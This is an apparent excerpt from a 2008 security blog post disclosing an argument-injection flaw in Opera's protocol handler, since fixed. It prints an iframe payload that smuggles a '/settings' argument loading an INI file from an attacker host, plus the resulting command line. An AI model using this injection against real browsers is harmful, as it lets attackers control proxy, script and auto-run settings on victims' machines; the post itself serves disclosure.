Taking a look at the command line arguments supported by Opera, we see a couple interesting items… one of which is the “/settings” argument.  the ”/settings” argument allows for Opera.exe to be loaded with an arbitrary INI file.  A quick examination of what’s contained in an Opera INI file shows that if we can control the contents of the INI file, then we can control:  Cache directories, debugging mode, proxy settings, script execution, java behavior, whether items are automatically RUN after downloading… the list goes on and on…

 

<iframe src =  ‘opera.protocol:www.test.com” /settings “//attacker-ip/ini-file.ini ‘>

 

which will result in something like this:

 

c;\program files\opera\opera.exe “opera.protocol:www.test.com” /settings “//attacker-ip/ini-file.ini”

 

OUCH….Thankfully… the Opera Security Team has fixed this particular issue!  Kudos to them!

]]> http://xs-sniper.com/blog/2008/08/22/opera-stuff-followup/feed/ 1